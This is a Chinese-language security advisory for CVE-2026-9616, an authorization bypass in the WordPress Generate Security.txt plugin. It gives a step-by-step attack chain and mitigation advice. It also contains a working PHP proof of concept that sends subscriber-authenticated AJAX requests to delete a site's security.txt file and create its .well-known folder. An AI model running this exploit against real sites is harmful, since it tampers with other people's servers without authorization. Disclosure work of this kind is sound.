IPBUF安全漏洞报告
English
CVE-2026-9616 CVSS 4.3 中危

WordPress Generate Security.txt插件授权绕过漏洞(CVE-2026-9616)

披露日期: 2026-06-24

漏洞信息

漏洞编号
CVE-2026-9616
漏洞类型
授权绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Generate Security.txt Plugin

相关标签

授权绕过WordPressGenerate Security.txtAJAX权限提升文件系统操作中危漏洞CVSS 4.3WordPress插件安全策略文件

漏洞概述

CVE-2026-9616是WordPress的Generate Security.txt插件中存在的一个授权绕过漏洞。该插件用于在网站根目录生成security.txt安全策略文件,帮助网站所有者向安全研究人员披露漏洞报告联系方式。该漏洞影响该插件的所有版本,最高至1.0.12版本(含)。

漏洞的根本原因在于插件未能正确验证用户是否具有执行特定操作的权限。具体而言,插件中的delete_securitytxt和create_wellknown_folder两个AJAX操作缺少充分的权限检查机制。这使得任何经过认证的攻击者,包括仅具有订阅者(subscriber)级别权限的低权限用户,都可以通过直接调用这些AJAX端点来执行未授权的操作。

成功利用该漏洞的攻击者可以删除站点服务器文件系统上的security.txt文件,或者创建.well-known目录。这些操作虽然不会直接导致数据泄露或代码执行,但会破坏站点的安全策略文件,可能影响安全研究人员与站点所有者之间的沟通渠道,间接增加站点遭受攻击的风险。该漏洞由Wordfence安全团队的安全研究员发现并报告,CVSS评分为4.3分,属于中危级别。

技术细节

该漏洞属于典型的WordPress插件AJAX操作权限验证缺失问题。在WordPress中,AJAX请求通常通过admin-ajax.php处理,插件开发者需要使用current_user_can()函数或wp_verify_nonce()函数来验证用户权限和请求合法性。

在Generate Security.txt插件的受影响版本中,delete_securitytxt和create_wellknown_folder这两个AJAX操作的回调函数注册时,没有正确实施权限验证逻辑。攻击者只需要拥有一个有效的WordPress账户(最低订阅者权限),即可通过构造特定的POST请求到/wp-admin/admin-ajax.php端点,携带action=delete_securitytxt或action=create_wellknown_folder参数,绕过权限检查直接执行相应的文件系统操作。

从技术角度看,该漏洞利用链如下:
1. 攻击者通过正常注册流程获取任意低权限WordPress账户;
2. 攻击者使用该账户登录并获取有效的认证Cookie(wordpress_logged_in_*);
3. 攻击者向/wp-admin/admin-ajax.php发送带有目标action参数的POST请求;
4. 服务器端的AJAX处理函数由于缺少权限验证,直接执行了删除security.txt文件或创建.well-known目录的操作。

该漏洞的存在破坏了WordPress的最小权限原则,使得低权限用户能够执行仅限管理员的操作,对站点的安全配置完整性构成威胁。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者通过WordPress站点的公开注册功能注册一个订阅者(subscriber)级别的账户,或通过其他方式获取任意低权限账户的认证凭据。
STEP 2
步骤2:获取认证Cookie
使用获取的账户凭据登录WordPress站点,从浏览器或登录响应中提取有效的认证Cookie(wordpress_logged_in_*),用于后续的AJAX请求认证。
STEP 3
步骤3:构造恶意AJAX请求
向目标站点的/wp-admin/admin-ajax.php端点发送POST请求,设置action参数为delete_securitytxt或create_wellknown_folder,并附带有效的认证Cookie。
STEP 4
步骤4:绕过权限验证
由于插件的AJAX回调函数缺少current_user_can()权限检查和nonce验证,服务器直接处理请求并执行文件系统操作(删除security.txt文件或创建.well-known目录)。
STEP 5
步骤5:破坏安全策略
security.txt文件被删除后,安全研究人员无法通过标准渠道联系站点所有者报告漏洞;.well-known目录被恶意创建可能为后续攻击铺路。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php /** * CVE-2026-9616 PoC - Generate Security.txt Authorization Bypass * This PoC demonstrates how an authenticated subscriber-level user * can exploit the missing authorization check in the * delete_securitytxt AJAX action to remove the site's security.txt file. */ // Target site URL $target_url = 'https://target-wordpress-site.com'; // Authenticated subscriber cookie (obtained after logging in as a subscriber) $cookie = 'wordpress_logged_in_xxxxxxxxxxxxx=yyyyyyyyyyyyy'; // Step 1: Delete the security.txt file via unauthorized AJAX action $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php'); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'action' => 'delete_securitytxt' ])); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Cookie: ' . $cookie, 'Content-Type: application/x-www-form-urlencoded', 'X-Requested-With: XMLHttpRequest' ]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "Delete security.txt response (HTTP {$http_code}): {$response}\n"; // Step 2: Create the .well-known directory via unauthorized AJAX action $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php'); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'action' => 'create_wellknown_folder' ])); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Cookie: ' . $cookie, 'Content-Type: application/x-www-form-urlencoded', 'X-Requested-With: XMLHttpRequest' ]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "Create .well-known folder response (HTTP {$http_code}): {$response}\n"; ?>

影响范围

WordPress Generate Security.txt Plugin <= 1.0.12

防御指南

临时缓解措施
在无法立即升级插件的情况下,建议采取以下临时缓解措施:1)临时禁用Generate Security.txt插件,直到可以升级到修复版本;2)通过修改主题的functions.php文件,手动为delete_securitytxt和create_wellknown_folder AJAX操作添加权限验证钩子;3)通过.htaccess或Nginx配置限制对/wp-admin/admin-ajax.php的访问,仅允许特定IP地址访问管理端点;4)监控站点的安全日志,及时发现异常的AJAX请求和文件系统变更;5)临时关闭WordPress的公开用户注册功能,防止攻击者获取新的低权限账户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表